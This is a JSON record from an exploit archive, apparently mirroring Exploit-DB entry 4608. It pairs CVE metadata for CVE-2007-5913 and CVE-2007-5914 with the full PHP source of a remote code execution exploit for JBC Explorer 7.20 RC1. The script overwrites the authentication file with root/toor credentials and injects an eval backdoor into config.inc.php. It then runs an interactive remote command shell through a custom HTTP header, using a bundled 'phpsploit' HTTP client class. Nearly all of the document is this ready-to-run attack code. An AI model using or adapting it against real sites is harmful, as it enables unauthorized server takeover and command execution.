{"exploit":{"id":"EDB-4608","name":"JBC Explorer 7.20 RC 1 - Remote Code Execution (RCE)","description":"JBC Explorer 7.20 RC 1 - Remote Code Execution (RCE)","cves":["CVE-2007-5914","CVE-2007-5913"],"author":"DarkFig","published":"2007-11-05","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4608","path":"exploits/php/webapps/4608.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4608.php","vulnerabilities":[{"id":"CVE-2007-5914","state":"PUBLISHED","title":null,"titleSource":null,"description":"Direct static code injection vulnerability in dirsys/modules/config/post.php in JBC Explorer 7.20 RC1 and earlier allows remote authenticated administrators to inject arbitrary PHP code via the DEBUG parameter, which can be executed by accessing config.inc.php. NOTE: this can be exploited by unauthenticated remote attackers by leveraging CVE-2007-5913.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5914","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5914"},"updatedAt":"2024-08-07T15:47:00.508Z","retrievedAt":"2026-11-26T14:11:09.607Z","stale":false,"error":null},{"id":"CVE-2007-5913","state":"PUBLISHED","title":null,"titleSource":null,"description":"dirsys/modules/auth.php in JBC Explorer 7.20 RC1 and earlier does not require authentication, which allows remote attackers to (1) delete auth.inc.php via the suppr parameter, and (2) re-create the auth.inc.php file with contents that specify a new account name and password for JBC Explorer via the login and password parameters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5913","cvss":null,"updatedAt":"2024-08-07T15:47:00.617Z","retrievedAt":"2026-11-26T15:07:41.371Z","stale":false,"error":"Some CVE details could not be refreshed"}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4608.png?v=2","url":"https://exploitbin.com/exploits/EDB-4608","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4608/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4608/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/php\n<?php\nerror_reporting(E_ALL ^ E_NOTICE);\n\nhead();\nif($argc < 3) usage();\n\n$url = getparam('url', true);\n$prx = getparam('proxy', false);\n$pra = getparam('proxyauth', false);\n$cod = 'eval($_SERVER[HTTP_SHELL]);';\n\n$xpl = new phpsploit();\n$xpl->agent('Mozilla Firefox');\n$xpl->allowredirection(1);\n$xpl->cookiejar(1);\n\nif($prx) $xpl->proxy($prx);\nif($pra) $xpl->proxyauth($pra);\n\nprint \"0x01>Deleting the file auth.inc.php\";\n$xpl->post($url.'dirsys/modules/auth.php', 'suppr=1');\n\nprint \"\\n0x02>Creating the file auth.inc.php\";\n$xpl->post($url.'dirsys/modules/auth.php', 'login=root&password=toor');\n\nprint \"\\n0x03>Trying to log in as Administrator\";\n$xpl->post($url.'dirsys/modules/auth.php', 'login=root&password=toor');\n\n// Minimum data necessary (fwrite without quote)\n$minimdata =\n'WIDTH_TREE_FRAME=1&FRAME_BORDER=1&WIDTH_FRAME_BORDER=1&WIDTH_FRAME_SP'.\n'ACING=1&SCROLING_TREE_FRAME=1&RESIZE_FRAME=1&WIDTH_TD_SIZE=1&WIDTH_TD'.\n'_TYPE=1&WIDTH_TD_DATE=1&STYLE=1&TOTALSIZE=1&CHECK_MAJ=1&IMAGE_BROWSER'.\n'=1&IMAGE_TN=1&GD2=1&IMAGE_JPG=1&IMAGE_GIF=1&IMAGE_BMP=1&IMAGE_TN_SIZE'.\n'=1&IMAGE_TN_COMPRESSION=1&NB_COLL_TN=1&EXIF_READER=1&SLIDE_SHOW=1&DEB'.\n'UG=0;'.urlencode($cod).'//&SLIDE_SHOW_INT=1&BACK=1&WRITE_TN=1&AUTO_RE'.\n'SIZE=1&DETAILS=1&DIRINFO_LIFE=1&activer_Message=1';\n\nprint \"\\n0x04>Creating the file config.inc.php\";\n$xpl->post($url.'dirsys/modules/config/post.php', $minimdata);\nprint \"\\n0x05>Now enter your commands\";\n\ndo\n{\n\t$xpl->addheader('Shell', \"@system($cmd);\");\n\t$xpl->get($url.'dirsys/config.inc.php');\n\tprint $xpl->getcontent().\"\\n0x06>\";\n}\nwhile(!eregi('^quit|exit$', $cmd = trim(fgets(STDIN))));\n\nexit(0);\n\n\nfunction getparam($param,$opt='')\n{\n\tglobal $argv;\n\n\tforeach($argv as $value => $key)\n\t{\n\t\tif($key == '-'.$param)\n\t\t   return $argv[$value+1];\n\t}\n\n\tif($opt)\n\t   usage();\n\telse\n\t   return FALSE;\n}\n\nfunction head()\n{\n\tprint\n\t\"\\nJBC Explorer <= V7.20 RC 1\\n\".\n\t\"Remote Code Execution Exploit\\n\\n\".\n\t\"by DarkFig <gmdarkfig (at) gmail (dot) com>\\n\".\n\t\"http://acid-root.new.fr/\\n\".\n\t\"#acidroot@irc.worldnet.net\\n\\n\";\n}\n\nfunction usage()\n{\n\tprint\n\t\"Usage:\\n\".\n\t\"sploit.php -url <url> [Options]\\n\\n\".\n\t\"Options:\\n\".\n\t\"-proxy <proxyhost:proxyport>\".\n\t\"\\n-proxyauth <proxyuser:proxypwd>\\n\";\n\n\texit(1);\n}\n\n/*\n *\n * Copyright (C) darkfig\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.\n *\n * TITLE:          PhpSploit Class\n * REQUIREMENTS:   PHP 4 / PHP 5\n * VERSION:        2.0\n * LICENSE:        GNU General Public License\n * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt\n * FILENAME:       phpsploitclass.php\n *\n * CONTACT:        gmdarkfig@gmail.com (french / english)\n * GREETZ:         Sparah, Ddx39\n *\n * DESCRIPTION:\n * The phpsploit is a class implementing a web user agent.\n * You can add cookies, headers, use a proxy server with (or without) a\n * basic authentification. It supports the GET and the POST method. It can\n * also be used like a browser with the cookiejar() function (which allow\n * a server to add several cookies for the next requests) and the\n * allowredirection() function (which allow the script to follow all\n * redirections sent by the server). It can return the content (or the\n * headers) of the request. Others useful functions can be used for debugging.\n * A manual is actually in development but to know how to use it, you can\n * read the comments.\n *\n * CHANGELOG:\n *\n * [2007-06-10] (2.0)\n *  * Code: Code optimization\n *  * New: Compatible with PHP 4 by default\n *\n * [2007-01-24] (1.2)\n *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))\n *  * New: multipart/form-data enctype is now supported\n *\n * [2006-12-31] (1.1)\n *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)\n *  * New: You can now call the getheader() / getcontent() function without parameters\n *\n * [2006-12-30] (1.0)\n *  * First version\n *\n */\n\nclass phpsploit\n{\n\tvar $proxyhost;\n\tvar $proxyport;\n\tvar $host;\n\tvar $path;\n\tvar $port;\n\tvar $method;\n\tvar $url;\n\tvar $packet;\n\tvar $proxyuser;\n\tvar $proxypass;\n\tvar $header;\n\tvar $cookie;\n\tvar $data;\n\tvar $boundary;\n\tvar $allowredirection;\n\tvar $last_redirection;\n\tvar $cookiejar;\n\tvar $recv;\n\tvar $cookie_str;\n\tvar $header_str;\n\tvar $server_content;\n\tvar $server_header;\n\n\n\t/**\n\t * This function is called by the\n\t * get()/post()/formdata() functions.\n\t * You don't have to call it, this is\n\t * the main function.\n\t *\n\t * @access private\n\t * @return string $this->recv ServerResponse\n\t *\n\t */\n\tfunction sock()\n\t{\n\t\tif(!empty($this->proxyhost) && !empty($this->proxyport))\n\t\t   $socket = @fsockopen($this->proxyhost,$this->proxyport);\n\t\telse\n\t\t   $socket = @fsockopen($this->host,$this->port);\n\n\t\tif(!$socket)\n\t\t   die(\"Error: Host seems down\");\n\n\t\tif($this->method=='get')\n\t\t   $this->packet = 'GET '.$this->url.\" HTTP/1.1\\r\\n\";\n\n\t\telseif($this->method=='post' or $this->method=='formdata')\n\t\t   $this->packet = 'POST '.$this->url.\" HTTP/1.1\\r\\n\";\n\n\t\telse\n\t\t   die(\"Error: Invalid method\");\n\n\t\tif(!empty($this->proxyuser))\n\t\t   $this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass).\"\\r\\n\";\n\n\t\tif(!empty($this->header))\n\t\t   $this->packet .= $this->showheader();\n\n\t\tif(!empty($this->cookie))\n\t\t   $this->packet .= 'Cookie: '.$this->showcookie().\"\\r\\n\";\n\n\t\t$this->packet .= 'Host: '.$this->host.\"\\r\\n\";\n\t\t$this->packet .= \"Connection: Close\\r\\n\";\n\n\t\tif($this->method=='post')\n\t\t{\n\t\t\t$this->packet .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n\t\t\t$this->packet .= 'Content-Length: '.strlen($this->data).\"\\r\\n\\r\\n\";\n\t\t\t$this->packet .= $this->data.\"\\r\\n\";\n\t\t}\n\t\telseif($this->method=='formdata')\n\t\t{\n\t\t\t$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary.\"\\r\\n\";\n\t\t\t$this->packet .= 'Content-Length: '.strlen($this->data).\"\\r\\n\\r\\n\";\n\t\t\t$this->packet .= $this->data;\n\t\t}\n\n\t\t$this->packet .= \"\\r\\n\";\n\t\t$this->recv = '';\n\n\t\tfputs($socket,$this->packet);\n\n\t\twhile(!feof($socket))\n\t\t   $this->recv .= fgets($socket);\n\n\t\tfclose($socket);\n\n\t\tif($this->cookiejar)\n\t\t   $this->getcookie();\n\n\t\tif($this->allowredirection)\n\t\t   return $this->getredirection();\n\t\telse\n\t\t   return $this->recv;\n\t}\n\n\n\t/**\n\t * This function allows you to add several\n\t * cookies in the request.\n\t *\n\t * @access  public\n\t * @param   string cookn CookieName\n\t * @param   string cookv CookieValue\n\t * @example $this->addcookie('name','value')\n\t *\n\t */\n\tfunction addcookie($cookn,$cookv)\n\t{\n\t\tif(!isset($this->cookie))\n\t\t   $this->cookie = array();\n\n\t\t$this->cookie[$cookn] = $cookv;\n\t}\n\n\n\t/**\n\t * This function allows you to add several\n\t * headers in the request.\n\t *\n\t * @access  public\n\t * @param   string headern HeaderName\n\t * @param   string headervalue Headervalue\n\t * @example $this->addheader('Client-IP', '128.5.2.3')\n\t *\n\t */\n\tfunction addheader($headern,$headervalue)\n\t{\n\t\tif(!isset($this->header))\n\t\t   $this->header = array();\n\n\t\t$this->header[$headern] = $headervalue;\n\t}\n\n\n\t/**\n\t * This function allows you to use an\n\t * http proxy server. Several methods\n\t * are supported.\n\t *\n\t * @access  public\n\t * @param   string proxy ProxyHost\n\t * @param   integer proxyp ProxyPort\n\t * @example $this->proxy('localhost',8118)\n\t * @example $this->proxy('localhost:8118')\n\t *\n\t */\n\tfunction proxy($proxy,$proxyp='')\n\t{\n\t\tif(empty($proxyp))\n\t\t{\n\t\t\t$proxarr = explode(':',$proxy);\n\t\t\t$this->proxyhost = $proxarr[0];\n\t\t\t$this->proxyport = (int)$proxarr[1];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->proxyhost = $proxy;\n\t\t\t$this->proxyport = (int)$proxyp;\n\t\t}\n\n\t\tif($this->proxyport > 65535)\n\t\t   die(\"Error: Invalid port number\");\n\t}\n\n\n\t/**\n\t * This function allows you to use an\n\t * http proxy server which requires a\n\t * basic authentification. Several\n\t * methods are supported:\n\t *\n\t * @access  public\n\t * @param   string proxyauth ProxyUser\n\t * @param   string proxypass ProxyPass\n\t * @example $this->proxyauth('user','pwd')\n\t * @example $this->proxyauth('user:pwd');\n\t *\n\t */\n\tfunction proxyauth($proxyauth,$proxypass='')\n\t{\n\t\tif(empty($proxypass))\n\t\t{\n\t\t\t$posvirg = strpos($proxyauth,':');\n\t\t\t$this->proxyuser = substr($proxyauth,0,$posvirg);\n\t\t\t$this->proxypass = substr($proxyauth,$posvirg+1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->proxyuser = $proxyauth;\n\t\t\t$this->proxypass = $proxypass;\n\t\t}\n\t}\n\n\n\t/**\n\t * This function allows you to set\n\t * the 'User-Agent' header.\n\t *\n\t * @access  public\n\t * @param   string useragent Agent\n\t * @example $this->agent('Firefox')\n\t *\n\t */\n\tfunction agent($useragent)\n\t{\n\t\t$this->addheader('User-Agent',$useragent);\n\t}\n\n\n\t/**\n\t * This function returns the headers\n\t * which will be in the next request.\n\t *\n\t * @access  public\n\t * @return  string $this->header_str Headers\n\t * @example $this->showheader()\n\t *\n\t */\n\tfunction showheader()\n\t{\n\t\t$this->header_str = '';\n\n\t\tif(!isset($this->header))\n\t\t   return;\n\n\t\tforeach($this->header as $name => $value)\n\t\t   $this->header_str .= $name.': '.$value.\"\\r\\n\";\n\n\t\treturn $this->header_str;\n\t}\n\n\n\t/**\n\t * This function returns the cookies\n\t * which will be in the next request.\n\t *\n\t * @access  public\n\t * @return  string $this->cookie_str Cookies\n\t * @example $this->showcookie()\n\t *\n\t */\n\tfunction showcookie()\n\t{\n\t\t$this->cookie_str = '';\n\n\t\tif(!isset($this->cookie))\n\t\t   return;\n\n\t\tforeach($this->cookie as $name => $value)\n\t\t   $this->cookie_str .= $name.'='.$value.'; ';\n\n\t\treturn $this->cookie_str;\n\t}\n\n\n\t/**\n\t * This function returns the last\n\t * formed http request.\n\t *\n\t * @access  public\n\t * @return  string $this->packet HttpPacket\n\t * @example $this->showlastrequest()\n\t *\n\t */\n\tfunction showlastrequest()\n\t{\n\t\tif(!isset($this->packet))\n\t\t   return;\n\t\telse\n\t\t   return $this->packet;\n\t}\n\n\n\t/**\n\t * This function sends the formed\n\t * http packet with the GET method.\n\t *\n\t * @access  public\n\t * @param   string url Url\n\t * @return  string $this->sock()\n\t * @example $this->get('localhost/index.php?var=x')\n\t * @example $this->get('http://localhost:88/tst.php')\n\t *\n\t */\n\tfunction get($url)\n\t{\n\t\t$this->target($url);\n\t\t$this->method = 'get';\n\t\treturn $this->sock();\n\t}\n\n\n\t/**\n\t * This function sends the formed\n\t * http packet with the POST method.\n\t *\n\t * @access  public\n\t * @param   string url  Url\n\t * @param   string data PostData\n\t * @return  string $this->sock()\n\t * @example $this->post('http://localhost/','helo=x')\n\t *\n\t */\n\tfunction post($url,$data)\n\t{\n\t\t$this->target($url);\n\t\t$this->method = 'post';\n\t\t$this->data = $data;\n\t\treturn $this->sock();\n\t}\n\n\n\t/**\n\t * This function sends the formed http\n\t * packet with the POST method using\n\t * the multipart/form-data enctype.\n\t *\n\t * @access  public\n\t * @param   array array FormDataArray\n\t * @return  string $this->sock()\n\t * @example $formdata = array(\n\t *                      frmdt_url => 'http://localhost/upload.php',\n\t *                      frmdt_boundary => '123456', # Optional\n\t *                      'var' => 'example',\n\t *                      'file' => array(\n\t *                                frmdt_type => 'image/gif',  # Optional\n\t *                                frmdt_transfert => 'binary' # Optional\n\t *                                frmdt_filename => 'hello.php,\n\t *                                frmdt_content => '<?php echo 1; ?>'));\n\t *          $this->formdata($formdata);\n\t *\n\t */\n\tfunction formdata($array)\n\t{\n\t\t$this->target($array[frmdt_url]);\n\t\t$this->method = 'formdata';\n\t\t$this->data = '';\n\n\t\tif(!isset($array[frmdt_boundary]))\n\t\t   $this->boundary = 'phpsploit';\n\t\telse\n\t\t   $this->boundary = $array[frmdt_boundary];\n\n\t\tforeach($array as $key => $value)\n\t\t{\n\t\t\tif(!preg_match('#^frmdt_(boundary|url)#',$key))\n\t\t\t{\n\t\t\t\t$this->data .= str_repeat('-',29).$this->boundary.\"\\r\\n\";\n\t\t\t\t$this->data .= 'Content-Disposition: form-data; name=\"'.$key.'\";';\n\n\t\t\t\tif(!is_array($value))\n\t\t\t\t{\n\t\t\t\t\t$this->data .= \"\\r\\n\\r\\n\".$value.\"\\r\\n\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->data .= ' filename=\"'.$array[$key][frmdt_filename].\"\\\";\\r\\n\";\n\n\t\t\t\t\tif(isset($array[$key][frmdt_type]))\n\t\t\t\t\t   $this->data .= 'Content-Type: '.$array[$key][frmdt_type].\"\\r\\n\";\n\n\t\t\t\t\tif(isset($array[$key][frmdt_transfert]))\n\t\t\t\t\t   $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert].\"\\r\\n\";\n\n\t\t\t\t\t$this->data .= \"\\r\\n\".$array[$key][frmdt_content].\"\\r\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$this->data .= str_repeat('-',29).$this->boundary.\"--\\r\\n\";\n\t\treturn $this->sock();\n\t}\n\n\n\t/**\n\t * This function returns the content\n\t * of the server response, without\n\t * the headers.\n\t *\n\t * @access  public\n\t * @param   string code ServerResponse\n\t * @return  string $this->server_content\n\t * @example $this->getcontent()\n\t * @example $this->getcontent($this->get('http://localhost/'))\n\t *\n\t */\n\tfunction getcontent($code='')\n\t{\n\t\tif(empty($code))\n\t\t   $code = $this->recv;\n\n\t\t$code = explode(\"\\r\\n\\r\\n\",$code);\n\t\t$this->server_content = '';\n\n\t\tfor($i=1;$i<count($code);$i++)\n\t\t   $this->server_content .= $code[$i];\n\n\t\treturn $this->server_content;\n\t}\n\n\n\t/**\n\t * This function returns the headers\n\t * of the server response, without\n\t * the content.\n\t *\n\t * @access  public\n\t * @param   string code ServerResponse\n\t * @return  string $this->server_header\n\t * @example $this->getcontent()\n\t * @example $this->getcontent($this->post('http://localhost/','1=2'))\n\t *\n\t */\n\tfunction getheader($code='')\n\t{\n\t\tif(empty($code))\n\t\t   $code = $this->recv;\n\n\t\t$code = explode(\"\\r\\n\\r\\n\",$code);\n\t\t$this->server_header = $code[0];\n\n\t\treturn $this->server_header;\n\t}\n\n\n\t/**\n\t * This function is called by the\n\t * cookiejar() function. It adds the\n\t * value of the \"Set-Cookie\" header\n\t * in the \"Cookie\" header for the\n\t * next request. You don't have to\n\t * call it.\n\t *\n\t * @access private\n\t * @param  string code ServerResponse\n\t *\n\t */\n\tfunction getcookie()\n\t{\n\t\tforeach(explode(\"\\r\\n\",$this->getheader()) as $header)\n\t\t{\n\t\t\tif(preg_match('/set-cookie/i',$header))\n\t\t\t{\n\t\t\t\t$fequal = strpos($header,'=');\n\t\t\t\t$fvirgu = strpos($header,';');\n\n\t\t\t\t// 12=strlen('set-cookie: ')\n\t\t\t\t$cname  = substr($header,12,$fequal-12);\n\t\t\t\t$cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));\n\n\t\t\t\t$this->cookie[trim($cname)] = trim($cvalu);\n\t\t\t}\n\t\t}\n\t}\n\n\n\t/**\n\t * This function is called by the\n\t * get()/post() functions. You\n\t * don't have to call it.\n\t *\n\t * @access  private\n\t * @param   string urltarg Url\n\t * @example $this->target('http://localhost/')\n\t *\n\t */\n\tfunction target($urltarg)\n\t{\n\t\tif(!ereg('^http://',$urltarg))\n\t\t   $urltarg = 'http://'.$urltarg;\n\n\t\t$urlarr     = parse_url($urltarg);\n\t\t$this->url  = 'http://'.$urlarr['host'].$urlarr['path'];\n\n\t\tif(isset($urlarr['query']))\n\t\t   $this->url .= '?'.$urlarr['query'];\n\n\t\t$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;\n\t\t$this->host = $urlarr['host'];\n\n\t\tif($this->port != '80')\n\t\t   $this->host .= ':'.$this->port;\n\n\t\tif(!isset($urlarr['path']) or empty($urlarr['path']))\n\t\t   die(\"Error: No path precised\");\n\n\t\t$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);\n\n\t\tif($this->port > 65535)\n\t\t   die(\"Error: Invalid port number\");\n\t}\n\n\n\t/**\n\t * If you call this function,\n\t * the script will extract all\n\t * 'Set-Cookie' headers values\n\t * and it will automatically add\n\t * them into the 'Cookie' header\n\t * for all next requests.\n\t *\n\t * @access  public\n\t * @param   integer code 1(enabled) 0(disabled)\n\t * @example $this->cookiejar(0)\n\t * @example $this->cookiejar(1)\n\t *\n\t */\n\tfunction cookiejar($code)\n\t{\n\t\tif($code=='0')\n\t\t   $this->cookiejar=FALSE;\n\n\t\telseif($code=='1')\n\t\t   $this->cookiejar=TRUE;\n\t}\n\n\n\t/**\n\t * If you call this function,\n\t * the script will follow all\n\t * redirections sent by the server.\n\t *\n\t * @access  public\n\t * @param   integer code 1(enabled) 0(disabled)\n\t * @example $this->allowredirection(0)\n\t * @example $this->allowredirection(1)\n\t *\n\t */\n\tfunction allowredirection($code)\n\t{\n\t\tif($code=='0')\n\t\t   $this->allowredirection=FALSE;\n\n\t\telseif($code=='1')\n\t\t   $this->allowredirection=TRUE;\n\t}\n\n\n\t/**\n\t * This function is called if\n\t * allowredirection() is enabled.\n\t * You don't have to call it.\n\t *\n\t * @access private\n\t * @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)\n\t * @return string $this->get($this->last_redirection)\n\t * @return string $this->recv;\n\t *\n\t */\n\tfunction getredirection()\n\t{\n\t\tif(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))\n\t\t{\n\t\t\t$this->last_redirection = trim($codearr[2]);\n\n\t\t\tif(!ereg('://',$this->last_redirection))\n\t\t\t   return $this->get('http://'.$this->host.$this->path.$this->last_redirection);\n\n\t\t\telse\n\t\t\t   return $this->get($this->last_redirection);\n\t\t}\n\t\telse\n\t\t   return $this->recv;\n\t}\n\n\n\t/**\n\t * This function allows you\n\t * to reset some parameters.\n\t *\n\t * @access  public\n\t * @param   string func Param\n\t * @example $this->reset('header')\n\t * @example $this->reset('cookie')\n\t * @example $this->reset()\n\t *\n\t */\n\tfunction reset($func='')\n\t{\n\t\tswitch($func)\n\t\t{\n\t\t\tcase 'header':\n\t\t\t$this->header = array('');\n\t\t\tbreak;\n\n\t\t\tcase 'cookie':\n\t\t\t$this->cookie = array('');\n\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t$this->cookiejar = '';\n\t\t\t$this->header = array('');\n\t\t\t$this->cookie = array('');\n\t\t\t$this->allowredirection = '';\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n?>\n\n# milw0rm.com [2007-11-05]","sha256":"d38443123e13808a111ed0f9802441ddfecc7f9de1c99754b501282d6119ca8c","bytes":17730,"fetchedAt":"2026-11-26T14:11:06.463Z","encoding":"utf-8 (display only; download retains original bytes)"}